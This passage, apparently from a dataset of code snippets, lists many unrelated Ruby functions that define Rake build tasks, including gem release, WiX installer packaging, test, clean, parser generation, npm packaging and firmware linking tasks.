:github_release, :gemcutter_release]\n # release_tasks << [:rubyforge_release] if gemspec.rubyforge_project\n\n desc \"Release a new version of the gem using the VERSION environment variable\"\n task(:release => release_tasks) { release_task }\n \n namespace(:release) do\n desc \"Release the next version of the gem, by incrementing the last version segment by 1\"\n task(:next => [:next_version] + release_tasks) { release_task }\n\n desc \"Release the next version of the gem, using a patch increment (0.0.1)\"\n task(:patch => [:next_patch_version] + release_tasks) { release_task }\n\n desc \"Release the next version of the gem, using a minor increment (0.1.0)\"\n task(:minor => [:next_minor_version] + release_tasks) { release_task }\n\n desc \"Release the next version of the gem, using a major increment (1.0.0)\"\n task(:major => [:next_major_version] + release_tasks) { release_task }\n end\n\n # task(:check_rubyforge) { check_rubyforge_task }\n # task(:rubyforge_release) { rubyforge_release_task }\n task(:gemcutter_release) { gemcutter_release_task }\n task(:github_release => [:commit_modified_files, :tag_version]) { github_release_task }\n task(:tag_version) { tag_version_task }\n task(:commit_modified_files) { commit_modified_files_task }\n\n task(:next_version) { next_version_task }\n task(:next_patch_version) { next_version_task(:patch) }\n task(:next_minor_version) { next_version_task(:minor) }\n task(:next_major_version) { next_version_task(:major) }\n \n desc \"Updates the gem release tasks with the latest version on Github\"\n task(:update_tasks) { update_tasks_task }\n end\n end", "def make_sourcery_wxs_file_task\n return if Rake::FileTask.task_defined? 'wix/Sourcery.wxs'\n sourcery = Rake::FileTask.define_task 'wix/Sourcery.wxs' do |t|\n if File.directory? 'wix/src'\n args = []\n args << '-nologo' # Skip printing of the WiX logo\n args << '-sfrag' # Suppress fragments\n args << '-srd' # Don't harvest the root directory e.g. wix\\src\n args << '-ag' # Auto generate GUIDs\n args << '-template fragment'\n args << '-dr INSTALLDIR'\n args << '-var var.Source'\n args = args.join(' ')\n wix_run 'heat', \"dir wix/src #{args} -out #{t.name}\"\n end\n end\n sourcery.comment = 'Create the Sourcery.wxs file'\n sourcery.enhance ['wix']\n sourcery.enhance @files.values\n end", "def define \n desc @description\n task @name => Array(deps) do\n unless Dir.exist?(@outdir)\n Dir.mkdir(@outdir)\n end\n make_file_list\n @file_list.each do |target|\n js = target.execute\n target_file = File.join(@outdir,File.basename(target.file))\n File.open(target_file, 'w') { |f| f.write(js) }\n end\n end\n\n self\n end", "def run_rails_rake_tasks(*names)\n ARGV.clear\n ARGV.concat(names)\n ARGV << \"RAILS_ENV=test\"\n Dir.chdir(RAILS_ROOT) do\n old = Rake.application\n Rake.application = Rake::Application.new\n begin\n Rake.application.run\n ensure\n Rake.application = old\n end\n end\nend", "def define_tasks\n # Task definitions are taken from Rake::TestTask\n # https://github.com/ruby/rake/blob/e644af3/lib/rake/testtask.rb#L98-L112\n namespace :ttnt do\n namespace name do\n define_run_task\n define_anchor_task\n end\n end\n end", "def ensure_paths_to_file(filepath)\n raise ArgumentError, '#ensure_paths_to_file requires filepath' if nay? filepath\n\n dirpath = File.split(filepath).first\n raise \"dirpath couldn't be obtained from #{filepath}\" if nay? dirpath\n\n ensure_dirpath(dirpath)\n end", "def load_generator_tasks!(config)\n extend ::Rake::DSL\n namespace :db do\n namespace :generate do\n\n desc \"Generate and write a config/database.yml\"\n task :config do\n db_config_path = config.db_config_path\n if File.exists?(db_config_path)\n puts \"Database config already exists at #{db_config_path}; skipping...\"\n else\n FileUtils.mkdir_p(config.config_path)\n FileUtils.cp(File.join(TEMPLATES_PATH, 'database.yml'), db_config_path)\n end\n end\n\n desc \"Generate a database migration, eg: rake db:generate:migration NAME=CreatePosts\"\n task :migration do\n migrations_path = config.migrations_path\n timestamp = Time.now.strftime(\"%Y%m%d%H%M%S\")\n name = ENV.fetch('NAME') do\n fail \"Usage: rake db:generate:migration NAME=CreatePosts\"\n end\n\n # Normalise the name to a MigrationClass and a migration_filename\n migration_class = ActiveSupport::Inflector.camelize(name)\n migration_filename = \"#{timestamp}_#{ActiveSupport::Inflector.underscore(name)}.rb\"\n migration_path = File.join(migrations_path, migration_filename)\n\n template = File.read(File.join(TEMPLATES_PATH, 'migration.erb'))\n FileUtils.mkdir_p(migrations_path)\n File.write(migration_path, ERB.new(template).result(binding))\n\n puts \"Created migration: #{migration_path}\"\n end\n end\n end\n end", "def install_tasks\n load 'falkorlib/tasks/git.rake'\n load 'falkorlib/tasks/gitflow.rake'\n end", "def generate_targets\n has_metaname = has_version?\n\n %w[clean update fetch configure export build install].each do |target|\n target_name = \"#{@name}_#{target}\".to_sym\n target_metaname = \"#{@metaname}_#{target}\".to_sym if has_metaname\n func = pkg_default_target_func(@name.to_sym, target)\n\n task = Rake::Task.define_task(target_name, &func)\n metatask = Rake::Task.define_task(target_metaname, &func) if has_metaname\n\n # Add per-task dependency\n case target\n when /install/i\n task.enhance([\"#{@name}_build\".to_sym])\n metatask.enhance([\"#{@metaname}_build\".to_sym]) if has_metaname\n when /build/i\n task.enhance([\"#{@name}_export\".to_sym])\n metatask.enhance([\"#{@metaname}_export\".to_sym]) if has_metaname\n\n # Generate package export dependencies\n @build_deps.each do |dep|\n task.enhance([\"#{dep}_export\".to_sym])\n metatask.enhance([\"#{dep}_export\".to_sym]) if has_metaname\n end\n\n # Generate package build dependencies\n @clean_deps.each do |dep|\n task.enhance([\"#{dep}_install\".to_sym])\n metatask.enhance([\"#{dep}_install\".to_sym]) if has_metaname\n end\n when /export/i\n task.enhance([\"#{@name}_configure\".to_sym])\n metatask.enhance([\"#{@metaname}_configure\".to_sym]) if has_metaname\n when /configure/i\n task.enhance([\"#{@name}_fetch\".to_sym])\n metatask.enhance([\"#{@metaname}_fetch\".to_sym]) if has_metaname\n when /clean/i\n # Generate package clean dependencies\n @clean_deps.each do |dep|\n task.enhance([\"#{dep}_clean\".to_sym])\n metatask.enhance([\"#{dep}_clean\".to_sym]) if has_metaname\n end\n end\n\n update_global_task(target, target_name)\n end\n\n # Create the default package task named after the package name\n task = Rake::Task.define_task(\"#{@name}\" => [\"#{@name}_install\".to_sym])\n metatask = Rake::Task.define_task(\"#{@metaname}\" => [\"#{@metaname}_install\".to_sym]) if has_metaname\n end", "def create_copy_task srcGlob, targetDir, taskSymbol\n mkdir_p(targetDir, :verbose => false)\n FileList[srcGlob].each do |f|\n target = File.join(targetDir, File.basename(f))\n file target => [f] do |t|\n cp f, target\n end\n task taskSymbol => target\n end\nend", "def define_test_tasks\n default_tasks = []\n\n if File.directory? \"test\" then\n desc 'Run the test suite. Use FILTER or TESTOPTS to add flags/args.'\n task :test do\n ruby make_test_cmd\n end\n\n desc 'Run the test suite using multiruby.'\n task :multi do\n ruby make_test_cmd(:multi)\n end\n\n desc 'Show which test files fail when run alone.'\n task :test_deps do\n tests = Dir[\"test/**/test_*.rb\"] + Dir[\"test/**/*_test.rb\"]\n\n paths = ['bin', 'lib', 'test'].join(File::PATH_SEPARATOR)\n null_dev = Hoe::WINDOZE ? '> NUL 2>&1' : '&> /dev/null'\n\n tests.each do |test|\n if not system \"ruby -I#{paths} #{test} #{null_dev}\" then\n puts \"Dependency Issues: #{test}\"\n end\n end\n end\n\n default_tasks << :test\n end\n\n if File.directory? \"spec\" then\n begin\n require 'spec/rake/spectask'\n\n desc \"Run all specifications\"\n Spec::Rake::SpecTask.new(:spec) do |t|\n t.libs = self.rspec_dirs\n t.spec_opts = self.rspec_options\n end\n rescue LoadError\n # do nothing\n end\n default_tasks << :spec\n end\n\n desc 'Run the default task(s).'\n task :default => default_tasks\n\n desc 'Run ZenTest against the package.'\n task :audit do\n libs = %w(lib test ext).join(File::PATH_SEPARATOR)\n sh \"zentest -I=#{libs} #{spec.files.grep(/^(lib|test)/).join(' ')}\"\n end\n end", "def file(*args, &block)\n Rake::FileTask.define_task(*args, &block)\nend", "def task_files\r\n Dir.chdir(Rails.root.join('lib', 'tasks')) do |dir|\r\n @task_files = Dir[\"*.rake\"]\r\n end\r\n @task_files = @task_files.reject{|task|\r\n task !~ /\\Abg_worker_/}.map{|task|\r\n task.sub('bg_worker_', '')\r\n }\r\n end", "def define_racc_tasks\n racc_files = self.spec.files.find_all { |f| f =~ /\\.y$/ }\n rex_files = self.spec.files.find_all { |f| f =~ /\\.rex$/ }\n\n parser_files = racc_files.map { |f| f.sub(/\\.y$/, \".rb\") }\n lexer_files = rex_files.map { |f| f.sub(/\\.rex$/, \".rb\") }\n\n self.clean_globs += parser_files\n self.clean_globs += lexer_files\n\n rule \".rb\" => \".y\" do |t|\n begin\n sh \"racc #{racc_flags} -o #{t.name} #{t.source}\"\n rescue\n abort \"need racc, sudo gem install racc\"\n end\n end\n\n rule \".rb\" => \".rex\" do |t|\n begin\n sh \"rex #{rex_flags} -o #{t.name} #{t.source}\"\n rescue\n abort \"need rexical, sudo gem install rexical\"\n end\n end\n\n task :isolate # stub task\n\n desc \"build the parser\" unless parser_files.empty?\n task :parser => :isolate\n\n desc \"build the lexer\" unless lexer_files.empty?\n task :lexer => :isolate\n\n task :parser => parser_files\n task :lexer => lexer_files\n\n racc_tasks.each do |t|\n task t => [:parser, :lexer]\n end\n end", "def rakefile(filename, data=nil, &block)\n puts \"adding rakefile #{filename}\"\n in_root(\"lib/tasks\") do |folder|\n File.open(\"#{folder}/#{filename}\", \"w\") do |f|\n if block_given?\n f.write(code_for(block))\n else\n f.write(data)\n end\n end\n end\n end", "def file_create(args, &block)\n Rake::FileCreationTask.define_task(args, &block)\nend", "def convert_to_rake()\n object_multitask = prepare_tasks_for_objects()\n archiver = @tcs[:ARCHIVER]\n\n res = typed_file_task Rake::Task::LIBRARY, get_task_name => object_multitask do\n dir = @project_dir\n objs = @objects\n aname = get_archive_name\n \n if @output_dir_abs\n dir = @output_dir\n prefix = File.rel_from_to_project(@project_dir, @output_dir)\n objs.map! { |m| m[prefix.length..-1] }\n aname = aname[prefix.length..-1]\n end\n \n Dir.chdir(dir) do\n\n FileUtils.rm(aname) if File.exists?(aname)\n cmd = [archiver[:COMMAND]] # ar\n cmd += archiver[:ARCHIVE_FLAGS].split(\" \")\n cmd += archiver[:FLAGS].split(\" \") # --all_load\n cmd << aname # -o debug/x.exe\n cmd += objs\n\n if Cxxproject::Utils.old_ruby?\n cmdLine = cmd.join(\" \")\n if cmdLine.length > 8000\n inputName = aname+\".tmp\"\n File.open(inputName,\"wb\") { |f| f.write(cmd[1..-1].join(\" \")) }\n consoleOutput = `#{archiver[:COMMAND] + \" @\" + inputName}`\n else\n consoleOutput = `#{cmd.join(\" \")} 2>&1`\n end\n else\n rd, wr = IO.pipe\n cmd << {\n :err=>wr,\n :out=>wr\n }\n sp = spawn(*cmd)\n cmd.pop\n \n consoleOutput = ProcessHelper.readOutput(sp, rd, wr)\n end\n\n process_result(cmd, consoleOutput, archiver[:ERROR_PARSER], \"Creating #{aname}\")\n end\n end\n\n enhance_with_additional_files(res)\n add_output_dir_dependency(get_task_name, res, true)\n\n add_grouping_tasks(get_task_name)\n\n setup_rake_dependencies(res)\n return res\n end", "def configure_tasks\n end", "def rakefiles\n @rakefiles ||= ['merb-core/test/tasks/spectasks']\n end", "def make_msi_file_task\n return if Rake::FileTask.task_defined? \"wix/#{name}.msi\"\n wixobjs = Rake::FileTask.tasks.select { |t| t.name.end_with? '.wixobj' }\n wixobjs.map! { |t| t.name }\n msi = Rake::FileTask.define_task \"wix/#{name}.msi\" do |t|\n wix_run 'light', \"-nologo -sval #{wixobjs.join(' ')} -o #{t.name}\"\n end\n msi.comment = \"Create the #{name}.msi file\"\n msi.enhance wixobjs\n end", "def describe_rake_task(task_name, filename, &block)\n require \"rake\"\n\n describe \"Rake task #{task_name}\" do\n attr_reader :task\n\n before(:all) do\n @rake = Rake::Application.new\n Rake.application = @rake\n load filename\n @task = Rake::Task[task_name]\n end\n\n after(:all) do\n Rake.application = nil\n end\n\n def invoke!\n for action in task.instance_eval { @actions }\n instance_eval(&action)\n end\n end\n\n def tmppath(*paths)\n parts = [File.dirname(__FILE__), \"tmp\"]\n parts << (@root_time ||= Time.now.to_i.to_s)\n parts += paths\n # parts << rand().to_s.split(\".\").last\n parts.collect! {|path| path.to_s}\n path = File.join(*parts)\n attempts = 10\n while File.exists?(path)\n path.succ!\n attempts -= 1\n raise \"Unable to find a good temp pathname: #{path.inspect}\" if attempts.zero?\n end\n\n File.expand_path(path)\n end\n\n def cleanup\n path = File.expand_path(File.join(File.dirname(__FILE__), \"tmp\"))\n FileUtils.rm_rf(path)\n end\n\n instance_eval(&block)\n end\nend", "def generateRakeFor_ProcessSourceFiles\n if (!@Context[:RakeSetupFor_CalibrateRecordings])\n generateRakeFor_CalibrateRecordings\n end\n\n # List of process tasks\n # list< Symbol >\n lLstProcessTasks = []\n\n # 1. Handle recordings\n lRecordingsConf = @RecordConf[:Recordings]\n if (lRecordingsConf != nil)\n # Read global processes and environment processes to be applied before and after recordings\n lGlobalProcesses_Before = lRecordingsConf[:GlobalProcesses_Before] || []\n lGlobalProcesses_After = lRecordingsConf[:GlobalProcesses_After] || []\n lEnvProcesses_Before = lRecordingsConf[:EnvProcesses_Before] || {}\n lEnvProcesses_After = lRecordingsConf[:EnvProcesses_After] || {}\n lTracksConf = lRecordingsConf[:Tracks]\n if (lTracksConf != nil)\n lTracksConf.each do |iLstTracks, iRecordingConf|\n lRecEnv = iRecordingConf[:Env]\n # Compute the list of processes to apply\n lEnvProcesses_RecordingBefore = lEnvProcesses_Before[lRecEnv] || []\n lEnvProcesses_RecordingAfter = lEnvProcesses_After[lRecEnv] || []\n lRecordingProcesses = iRecordingConf[:Processes] || []\n # Optimize the list\n lLstProcesses = optimizeProcesses(lGlobalProcesses_Before + lEnvProcesses_RecordingBefore + lRecordingProcesses + lEnvProcesses_RecordingAfter + lGlobalProcesses_After)\n # Get the file name to apply processes to\n lRecordedBaseName = File.basename(getRecordedFileName(lRecEnv, iLstTracks))[0..-5]\n # Create the target that gives the name of the final wave file, and make it depend on the Calibration.Info target only if calibration might be needed\n lPrerequisites = []\n lPrerequisites << \"#{lRecordedBaseName}.Calibration.info\".to_sym if (iRecordingConf[:CalibrateWithEnv] != nil)\n lFinalBeforeMixTarget = \"FinalBeforeMix_Recording_#{lRecordedBaseName}\".to_sym\n\n desc \"Get final wave file name for recording #{lRecordedBaseName}\"\n task lFinalBeforeMixTarget => lPrerequisites do |iTask|\n lRecordedBaseName2 = iTask.name.match(/^FinalBeforeMix_Recording_(.*)$/)[1]\n # Get the name of the file that may be processed\n # Set the cleaned file as a default\n lFileNameToProcess = getNoiseGateFileName(lRecordedBaseName2)\n if (!iTask.prerequisites.empty?)\n lCalibrationInfo = Rake::Task[iTask.prerequisites.first].data\n if (lCalibrationInfo[:RMSReference] != lCalibrationInfo[:RMSRecording])\n # Apply processes on the calibrated file\n lFileNameToProcess = getCalibratedFileName(lRecordedBaseName2)\n end\n end\n # By default, the final name is the one to be processed\n lFinalFileName = lFileNameToProcess\n # Get the list of processes from the context\n if (@Context[:Processes][lRecordedBaseName2] != nil)\n # Processing has to be performed\n # Now generate the whole branch of targets to process the choosen file\n lFinalFileName = generateRakeForProcesses(@Context[:Processes][lRecordedBaseName2][:LstProcesses], lFileNameToProcess, getProcessesRecordDir)\n end\n iTask.data = {\n :FileName => lFinalFileName\n }\n end\n\n if (!lLstProcesses.empty?)\n # Generate the Dependencies task, and make it depend on the target creating the processing chain\n lDependenciesTask = \"Dependencies_ProcessRecord_#{lRecordedBaseName}\".to_sym\n\n desc \"Create the targets needed to process tracks [#{iLstTracks.join(', ')}]\"\n task lDependenciesTask => lFinalBeforeMixTarget do |iTask|\n lRecordedBaseName2 = iTask.name.match(/^Dependencies_ProcessRecord_(.*)$/)[1]\n # Make the final task depend on the processed file\n Rake::Task[@Context[:Processes][lRecordedBaseName2][:FinalTask]].prerequisites.replace([\n iTask.name,\n Rake::Task[iTask.prerequisites.first].data[:FileName]\n ])\n end\n\n # Make the final task depend on the Dependencies task only for the beginning\n lFinalTask = \"ProcessRecord_#{iLstTracks.join('_')}\".to_sym\n lLstProcessTasks << lFinalTask\n\n desc \"Apply processes to recording #{lRecordedBaseName}\"\n task lFinalTask => lDependenciesTask\n\n @Context[:Processes][lRecordedBaseName] = {\n :LstProcesses => lLstProcesses,\n :FinalTask => lFinalTask\n }\n end\n end\n end\n end\n\n # 2. Handle Wave files\n lWaveFilesConf = @RecordConf[:WaveFiles]\n if (lWaveFilesConf != nil)\n lGlobalProcesses_Before = lWaveFilesConf[:GlobalProcesses_Before] || []\n lGlobalProcesses_After = lWaveFilesConf[:GlobalProcesses_After] || []\n lLstWaveInfo = lWaveFilesConf[:FilesList]\n if (lLstWaveInfo != nil)\n lLstWaveInfo.each do |iWaveInfo|\n lWaveProcesses = iWaveInfo[:Processes] || []\n if (iWaveInfo[:Position] != nil)\n lWaveProcesses << {\n :Name => 'SilenceInserter',\n :Begin => iWaveInfo[:Position],\n :End => 0\n }\n end\n # Optimize the list\n lLstProcesses = optimizeProcesses(lGlobalProcesses_Before + lWaveProcesses + lGlobalProcesses_After)\n lFinalBeforeMixTarget = \"FinalBeforeMix_Wave_#{iWaveInfo[:Name]}\"\n\n desc \"Get final wave file name for Wave #{iWaveInfo[:Name]}\"\n task lFinalBeforeMixTarget do |iTask|\n lWaveName = iTask.name.match(/^FinalBeforeMix_Wave_(.*)$/)[1]\n # By default, use the original Wave file\n lFinalFileName = getWaveSourceFileName(lWaveName)\n if (@Context[:WaveProcesses][lWaveName] != nil)\n # Generate rake tasks for processing the clean recorded file.\n lFinalFileName = generateRakeForProcesses(@Context[:WaveProcesses][lWaveName][:LstProcesses], lFinalFileName, getProcessesWaveDir)\n end\n iTask.data = {\n :FileName => lFinalFileName\n }\n end\n\n if (!lLstProcesses.empty?)\n # Generate the Dependencies task, and make it depend on the target creating the processing chain\n lDependenciesTask = \"Dependencies_ProcessWave_#{iWaveInfo[:Name]}\".to_sym\n\n desc \"Create the targets needed to process Wave #{iWaveInfo[:Name]}\"\n task lDependenciesTask => lFinalBeforeMixTarget do |iTask|\n lWaveName = iTask.name.match(/^Dependencies_ProcessWave_(.*)$/)[1]\n # Make the final task depend on the processed file\n Rake::Task[@Context[:WaveProcesses][lWaveName][:FinalTask]].prerequisites.replace([\n iTask.name,\n Rake::Task[iTask.prerequisites.first].data[:FileName]\n ])\n end\n\n # Make the final task depend on the Dependencies task only for the beginning\n lFinalTask = \"ProcessWave_#{iWaveInfo[:Name]}\".to_sym\n lLstProcessTasks << lFinalTask\n\n desc \"Apply processes to Wave #{iWaveInfo[:Name]}\"\n task lFinalTask => lDependenciesTask\n\n @Context[:WaveProcesses][iWaveInfo[:Name]] = {\n :LstProcesses => lLstProcesses,\n :FinalTask => lFinalTask\n }\n end\n end\n end\n end\n\n # 3. Generate global task\n\n desc 'Process source files'\n task :ProcessSourceFiles => lLstProcessTasks\n\n @Context[:RakeSetupFor_ProcessSourceFiles] = true\n end", "def setup_rake_dependencies(task, multitask = nil)\n dependencies.reverse_each do |d|\n begin\n bb = ALL_BUILDING_BLOCKS[d]\n raise \"Error: tried to add the dependencies of \\\"#{d}\\\" to \\\"#{@name}\\\" but such a building block could not be found!\" unless bb\n\n if multitask and bb.pre_step\n multitask.prerequisites.unshift(bb.get_task_name)\n else\n task.prerequisites.unshift(bb.get_task_name)\n end\n rescue ExitHelperException\n raise\n rescue Exception => e\n Printer.printError e.message\n ExitHelper.exit(1)\n end\n end\n\n task\n end", "def file!(*args, &block)\n task = Rake::FileTask.define_task(*args, &block)\n CLEAN.include(task.name)\n task\nend", "def rake(task_string, opts={})\n\n # default behaviour: rake tasks being invoked only once, unless reenabled\n # for multiple execution, so let's just reenable always\n Rake::Task[task_string].reenable\n Rake::Task[task_string].invoke(opts)\n \nend", "def rakefile\n 'Rakefile'\n end", "def define_clean_tasks\n task :clobber_docs # no-op, just in case\n task :clobber_package # no-op, just in case\n\n desc \"Clean up all the extras.\"\n task :clean => [ :clobber_docs, :clobber_package ] do\n clean_globs.each do |pattern|\n files = Dir[pattern]\n rm_rf files, :verbose => true unless files.empty?\n end\n end\n end", "def setup_tasks\n namespace(:npm) do\n desc 'Build package.json from template'\n task :'package.json' do\n template = ERB.new(File.read(File.join(src, 'package.json.erb')))\n generated = template.result_with_hash(scope: SCOPE, gemspec: gemspec, contributors: contributors)\n File.write(File.join(src, 'package.json'), JSON.pretty_generate(JSON.parse(generated)))\n end\n\n desc 'Ensure the destination directory exist'\n task :dest do\n FileUtils.mkdir_p(dest)\n end\n\n desc 'Build package tarball into the pkg directory'\n task build: %i[package.json dest] do\n system(\"cd #{src} && npm pack --pack-destination #{dest}/\")\n end\n\n desc 'Build and push package to npmjs.com'\n task release: %i[build] do\n system(\"npm publish #{tarball} --access public\")\n end\n end\n end", "def alias_task(aliases)\n aliases.each do |alias_name,task_name|\n t = Rake::Task[task_name]\n task alias_name, *t.arg_names do |_, args|\n args = t.arg_names.map { |a| args[a] }\n t.invoke(args)\n end\n end\nend", "def task_from_filename(filename)\n require filename\n File.basename(filename).gsub(\".rb\", \"\").camelcase # RAILS_ROOT/rooster/lib/tasks/newsfeed_task.rb => NewsfeedTask\n end", "def load_task_libraries\n\t\ttaskdir = Pathname( __FILE__.delete_suffix('.rb') )\n\t\ttasklibs = Rake::FileList[ taskdir + '*.rb' ].pathmap( '%-2d/%n' )\n\n\t\tself.trace( \"Loading task libs: %p\" % [ tasklibs ] )\n\t\ttasklibs.each do |lib|\n\t\t\trequire( lib )\n\t\tend\n\n\t\tself.class.constants.\n\t\t\tmap {|c| self.class.const_get(c) }.\n\t\t\tselect {|c| c.respond_to?(:instance_methods) }.\n\t\t\tselect {|c| c.instance_methods(false).include?(:define_tasks) }.\n\t\t\teach do |mod|\n\t\t\t\tself.trace \"Loading tasks from %p\" % [ mod ]\n\t\t\t\textend( mod )\n\t\t\tend\n\n\t\tself.setup( self.name, **self.options )\n\tend", "def load_tasks\n return if @loaded\n\n # By convention, the '*_helper.rb' files are helpers and need to be loaded first. Load\n # them into the Thor::Sandbox namespace\n Dir.glob( File.join(File.dirname(__FILE__), '**', '*.rb') ).each do |task|\n if task.match(/_helper\\.rb$/)\n #logger.debug \"load_thorfile helper: #{task}\"\n ::Thor::Util.load_thorfile task\n end\n end\n\n # Now load the thor files\n Dir.glob( File.join(File.dirname(__FILE__), '**', '*.rb') ).each do |task|\n unless task.match(/_helper\\.rb$/)\n #logger.debug \"load_thorfile: #{task}\"\n ::Thor::Util.load_thorfile task\n end\n end\n\n # load user tasks\n if user_tasks_folder\n Dir.glob( File.join([user_tasks_folder, '**', '*.{rb,thor}']) ).each { |task| ::Thor::Util.load_thorfile task if task.match(/_helper\\.rb$/) }\n Dir.glob( File.join([user_tasks_folder, '**', '*.{rb,thor}']) ).each { |task| ::Thor::Util.load_thorfile task unless task.match(/_helper\\.rb$/) }\n end\n\n @loaded = true\n end", "def get_tasks_from_rakefiles\n\n # ensure we're starting out with no tasks or rakefiles\n clear_all_tasks_and_rakefiles\n\n rakefiles_to_read = onetime_rake_files\n\n return [] if rakefiles_to_read.empty?\n\n rakefiles_to_read.each(&method(:get_tasks_in_rakefile))\n\n self.all_tasks\n end", "def rake *args\n ruby \"-S\", \"rake\", *args\nend", "def create_application_tasks(objects, executable_name)\n elf_file = File.join(@output_folder, \"#{executable_name}#{@output_decorator}.elf\")\n bin_file = File.join(@output_folder, \"#{executable_name}#{@output_decorator}.bin\")\n hex_file = File.join(@output_folder, \"#{executable_name}#{@output_decorator}.hex\")\n map_file = File.join(@output_folder, \"#{executable_name}#{@output_decorator}.map\")\n executable_folder = @output_folder\n\n unless @tracked_folders.include?executable_folder\n @tracked_folders << executable_folder\n directory executable_folder\n @parent_configuration.parent_project.add_files_to_clean(executable_folder)\n end\n\n @parent_configuration.parent_project.add_files_to_clean(elf_file, bin_file, hex_file, map_file)\n\n all_objects = objects+get_include_objects\n\n file elf_file => all_objects do |t|\n command_line = construct_link_command(all_objects, t.name, get_include_paths, get_library_paths, map_file)\n sh command_line\n end\n\n file map_file => elf_file\n\n file bin_file => elf_file do |t|\n command_line = construct_objcopy_command(elf_file, t.name, ' -Obinary')\n sh command_line\n end\n file hex_file => elf_file do |t|\n command_line = construct_objcopy_command(elf_file, t.name, ' -Oihex')\n sh command_line\n end\n\n return [elf_file, bin_file, hex_file], [map_file], [executable_folder]\n end", "def build_task(argv)\n arguments = argv.dup\n task_name = arguments.shift\n klazz = Task.from_name(task_name)\n klazz.new(*klazz.parse_options!(arguments))\n rescue NameError\n task_not_found(task_name)\n exit(FALSE)\n rescue ArgumentError\n help(task_name)\n exit(FALSE)\n end", "def schedule_task taskname, feature\r\n file_momonga = \"#{RELEASE_DIRECTORY}momonga.#{taskname}.js\"\r\n file_release = \"#{RELEASE_DIRECTORY}AzureaVim#{taskname === 'default' ? '' : '.' + taskname}.js\"\r\n feature.each do |key, value|\r\n \r\n task \"#{taskname}__#{key}\" => value.collect{|item| \"#{taskname}__#{item}\"} do |tsk|\r\n puts \"#{file_momonga} << #{key}\"\r\n open file_momonga, 'a' do |momonga_js|\r\n open(\"../src/#{key}.js\"){|key_js| momonga_js.puts key_js.read}\r\n end\r\n end\r\n \r\n end\r\n \r\n desc file_momonga\r\n task \"momonga_#{taskname}\" => feature.keys.collect{|item| \"#{taskname}__#{item}\"} do\r\n paste_parts file_momonga, taskname\r\n end\r\n \r\n desc file_release\r\n task \"build_#{taskname}\" => \"momonga_#{taskname}\" do |tsk|\r\n compile_js file_momonga, file_release\r\n write_metainfo file_release\r\n end\r\n \r\n $DEBUG_TASKS.push \"momonga_#{taskname}\"\r\n $RELEASE_TASKS.push \"build_#{taskname}\"\r\n CLEAN.include file_momonga\r\n CLOBBER.include file_release\r\nend", "def load_tasks\n RakeLoader.new.load_tasks\n end", "def ruby_rake_task(task)\n Rake::Task[task].invoke\nend", "def build(rakeTask)\n\t\tfilePrereqs = filePrereqs() #remove internal build-system stuff\n\t\tunless FileUtils.uptodate?(target(), filePrereqs) #the check rake does always fails because it includes a non-file prereq task\n\t\t\tstaticLibMaintainer().addOrUpdate(:lib => target(), :objs => filePrereqs)\n\t\t\tstaticLibMaintainer().index(target())\n\t\tend\n\tend", "def directory(dir)\n Rake.each_dir_parent(dir) do |d|\n file_create d do |t|\n mkdir_p t.name if ! File.exist?(t.name)\n end\n end\nend", "def make_wix_folder_task\n return if Rake::FileTask.task_defined? 'wix'\n wix = Rake::FileTask.define_task 'wix' do |t|\n FileUtils.mkpath t.name\n end\n wix.comment = 'Create the WiX folder'\n end", "def gem_build_task(gem,namespace_name=:gems)\n namespace(namespace_name) do\n gem_dir = CapyBrowser::Rake::RelativePath.new('tmp/gems').path\n directory gem_dir\n\n desc gem.build_description\n task :build => [:directories,gem.name.to_sym ] do |t|\n t.reenable\n end\n\n desc \"Build all gems\"\n task :rebuild do |t|\n rm_rf(gem_dir)\n Rake::Task[\"gems:build\"].reenable\n Rake::Task[\"gems:build\"].invoke\n end\n\n desc gem.build_gemfile_description\n task gem.name.to_sym => [gem.gemfile] do |t|\n t.reenable\n end\n\n file \"tmp/vendor/cache/#{gem.gemfile}\" => [gem.gemfile_path.relative_path]\n file gem.gemfile_path.relative_path => gem.gemfile\n file gem.gemfile => gem_dir do |t|\n puts gem.invoke!\n rm_rf(gem_dir)\n end\n end\nend", "def collect_tasks\n tasks = []\n $sake_op = {}\n ARGV.each do |arg|\n if arg =~ /^(\\w+)=(.*)$/\n ENV[$1] = $2\n $sake_op[$1.to_sym] = $2\n else\n tasks << arg\n end\n end\n tasks.push(\"default\") if tasks.size == 0\n tasks\n end", "def generateRakeForMix(iMixName, iFinalSources)\n rTarget = \"Mix_#{iMixName}\".to_sym\n\n # If the target already exists, do nothing\n if (!Rake::Task.task_defined?(rTarget))\n lDependenciesTarget = \"Dependencies_Mix_#{iMixName}\".to_sym\n lFinalMixTask = \"FinalMix_#{iMixName}\".to_sym\n # Create the target being the symbolic link\n lSymLinkFileName = get_shortcut_file_name(getFinalMixFileName(iMixName))\n\n desc \"Mix #{iMixName}\"\n task rTarget => lSymLinkFileName\n\n desc \"Symbolic link pointing to the mix file #{iMixName}\"\n file lSymLinkFileName => lDependenciesTarget do |iTask|\n # Get the mix name from the name of the Dependencies target\n lMixName = iTask.prerequisites[0].to_s.match(/^Dependencies_Mix_(.*)$/)[1]\n FileUtils::mkdir_p(File.dirname(iTask.name))\n create_shortcut(iTask.prerequisites[1], getFinalMixFileName(lMixName))\n end\n\n desc \"Dependencies needed to mix #{iMixName}\"\n task lDependenciesTarget => lFinalMixTask do |iTask|\n lMixName = iTask.name.match(/^Dependencies_Mix_(.*)$/)[1]\n\n # Modify the dependencies of the symbolic link\n Rake::Task[get_shortcut_file_name(getFinalMixFileName(lMixName))].prerequisites.replace([\n iTask.name,\n Rake::Task[iTask.prerequisites.first].data[:FileName]\n ])\n end\n\n # Use the corresponding final mix task to create the whole processing chain\n # First, compute dependencies of the final mix task\n lLstDeps = []\n @RecordConf[:Mix][iMixName][:Tracks].keys.sort.each do |iTrackID|\n raise UnknownTrackIDError, \"TrackID #{iTrackID} is not defined in the configuration for the mix.\" if (iFinalSources[iTrackID] == nil)\n lLstDeps << iFinalSources[iTrackID]\n end\n\n desc \"Create processing chain for mix #{iMixName}\"\n task lFinalMixTask => lLstDeps do |iTask|\n # This task is responsible for creating the whole processing chain from the source files (taken from prerequisites' data), and storing the top-level file name as its data.\n lMixName = iTask.name.match(/^FinalMix_(.*)$/)[1]\n lMixConf = @RecordConf[:Mix][lMixName]\n lFinalMixFileName = nil\n if (lMixConf[:Tracks].size == 1)\n # Just 1 source for this mix\n lTrackID = lMixConf[:Tracks].keys.first\n lTrackInfo = lMixConf[:Tracks][lTrackID]\n lSourceFileName = Rake::Task[@Context[:FinalMixSources][lTrackID]].data[:FileName]\n # Use all processes\n lLstProcesses = []\n lLstProcesses.concat(lTrackInfo[:Processes]) if 